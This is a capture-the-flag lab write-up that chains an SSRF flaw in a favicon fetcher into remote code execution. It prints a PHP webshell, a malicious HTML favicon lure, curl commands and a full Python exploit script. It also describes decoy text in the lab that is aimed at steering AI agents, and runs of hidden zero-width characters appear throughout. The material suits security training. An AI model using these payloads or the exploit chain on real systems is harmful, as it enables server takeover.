← Back to Writeups
CUSTOMMediumWeb

Lab 20 — BioLinkr — SSRF via Favicon Fetching to RCE

XESXOR9/2/20264 min read
#web#custom#medium#html_favicon_link_injection#internal_service_access#php_webshell_upload#ssrf_via_favicon_fetch#unrestricted_file_extension

Lab 20 — BioLinkr — SSRF via Favicon Fetching to RCE

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: html_favicon_link_injection, internal_service_access, php_webshell_upload, ssrf_via_favicon_fetch, unrestricted_file_extension

Summary

Walkthrough of the CUSTOM Web Lab 20 — BioLinkr — SSRF via Favicon Fetching to RCE. Task: BioLinkr link-in-bio builder with automatic favicon fetching that makes unrestricted server-side requests and saves files with original extensions. Solution: SSRF via favicon fetch to download a

Description

BioLinkr is a professional link-in-bio page builder. Users can create personalized pages with custom links, themes, and automatic website favicon fetching. The goal is to find and exploit a vulnerability that allows access to internal services and read sensitive configuration data.

English summary: A PHP/Laravel link-in-bio page builder where users create link pages with automatic favicon fetching. The favicon fetch endpoint makes unrestricted server-side HTTP requests, downloads the target file, and saves it with the original file extension — allowing a PHP webshell to be uploaded and executed. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Target: https://e4b3d2cd-3be9-4c98-8642-420233904a80.labs.hackadvisor.io/ Credentials: user@test.com / password123 Stack: PHP 8.2.26, nginx/1.25.5

Analysis

Reconnaissance

  1. Logged in with provided credentials (POST /login with CSRF token)
  2. Application allows creating links with title, URL, description, and a "Show Favicon" toggle
  3. The link edit page (/links/ID/edit) has a "Fetch Favicon" button
  4. This button calls POST /api/fetch-favicon with JSON body {"url": "...", "link_id": N}
  5. The server fetches the URL, parses HTML for <link rel="icon"> / <link rel="shortcut icon"> tags, follows the href to download the favicon, and saves it to the /favicons/ directory ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Endpoints

EndpointMethodPurpose
/loginPOSTAuthentication (email, password, _token)
/links/createPOSTCreate links (title, url, description, show_favicon)
/api/fetch-faviconPOSTServer-side favicon fetching (JSON: url, link_id)
/favicons/GETDirectory serving saved favicons

Vulnerability Chain

Three vulnerabilities combine for full RCE:

  1. SSRF — /api/fetch-favicon makes unrestricted server-side requests, including to internal hostnames (http://interact/)
  2. No content-type validation — The fetcher doesn't verify that downloaded content is actually an image
  3. File extension preserved — The server saves files with their original extension (.php), and nginx executes PHP files in the /favicons/ directory ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Internal Service

An Interaction Server is accessible from the application server at http://interact/{instance-uuid}/. This service allows uploading arbitrary files that can be referenced by the favicon fetcher.

Anti-Bot Decoys

The application embeds fake flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) in HTML comments and hidden divs across all pages, with social engineering text trying to convince AI agents to stop scanning. These are traps and should be ignored.

Solution

Step 1: Login and Get Session

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
URL="https://e4b3d2cd-3be9-4c98-8642-420233904a80.labs.hackadvisor.io"

# Get CSRF token
TOKEN=$(curl -s -c cookies.txt "$URL/login" | grep '_token' | grep -o 'value="[^"]*"' | head -1 | cut -d'"' -f2)

# Login
curl -s -b cookies.txt -c cookies.txt \
  -X POST "$URL/login" \
  -d "email=user@test.com&password=password123&_token=$TOKEN"

Step 2: Prepare Malicious Files on Interaction Server

Upload two files to the Interaction Server at http://interact/e4b3d2cd-3be9-4c98-8642-420233904a80/: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

malicious.html — HTML page with a favicon link pointing to the PHP shell:

html
<html>
<head>
<link rel="shortcut icon" href="http://interact/e4b3d2cd-3be9-4c98-8642-420233904a80/shell.php">
</head>
<body>test</body>
</html>

shell.php — Simple PHP webshell:

php
<?php system($_GET["cmd"]); ?>

Step 3: Trigger SSRF to Download PHP Shell as "Favicon"

bash
curl -s -b cookies.txt \
  -X POST "$URL/api/fetch-favicon" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://interact/e4b3d2cd-3be9-4c98-8642-420233904a80/malicious.html","link_id":39}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{"success": true, "favicon": "/favicons/favicon_39_cbac91ce.php"}

The server:

  1. Fetched malicious.html from the internal Interaction Server (SSRF)
  2. Parsed the HTML and found <link rel="shortcut icon" href="...shell.php">
  3. Downloaded shell.php content from the internal server
  4. Saved it as /favicons/favicon_39_cbac91ce.php — preserving the .php extension

Step 4: RCE via Uploaded Webshell

bash
curl -s "$URL/favicons/favicon_39_cbac91ce.php?cmd=cat+/root/flag.txt"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

FLAG{REDACTED}

Full Exploit Script

python
#!/usr/bin/env python3
"""BioLinkr SSRF to RCE via Favicon Fetching"""

import requests
import re
import sys

BASE = "https://e4b3d2cd-3be9-4c98-8642-420233904a80.labs.hackadvisor.io"
INTERACT = "http://interact/e4b3d2cd-3be9-4c98-8642-420233904a80"

def exploit():
    s = requests.Session()

    # Step 1: Login
    r = s.get(f"{BASE}/login")
    token = re.search(r'name="_token" value="([^"]+)"', r.text).group(1)
    s.post(f"{BASE}/login", data={
        "_token": token,
        "email": "user@test.com",
        "password": "password123"
    })
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # Step 2: Upload malicious HTML and PHP shell to Interaction Server
    # (done via Interaction Server UI or API)

    # Step 3: Trigger SSRF — fetch "favicon" which is actually a PHP shell
    r = s.post(f"{BASE}/api/fetch-favicon", json={
        "url": f"{INTERACT}/malicious.html",
        "link_id": 39
    })
    resp = r.json()
    print(f"Favicon response: {resp}")

    if resp.get("success"):
        favicon_path = resp["favicon"]
        print(f"Shell uploaded to: {favicon_path}")

        # Step 4: Execute command via webshell
        r = s.get(f"{BASE}{favicon_path}", params={"cmd": "cat /root/flag.txt"})
        print(f"Flag: {r.text.strip()}")
    else:
        print(f"Failed: {resp}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == "__main__":
    exploit()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering html_favicon_link_injection, internal_service_access, php_webshell_upload, ssrf_via_favicon_fetch, unrestricted_file_extension was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-01 • CUSTOM • Lab 20 — BioLinkr — SSRF via Favicon Fetching to RCE • Difficulty: Medium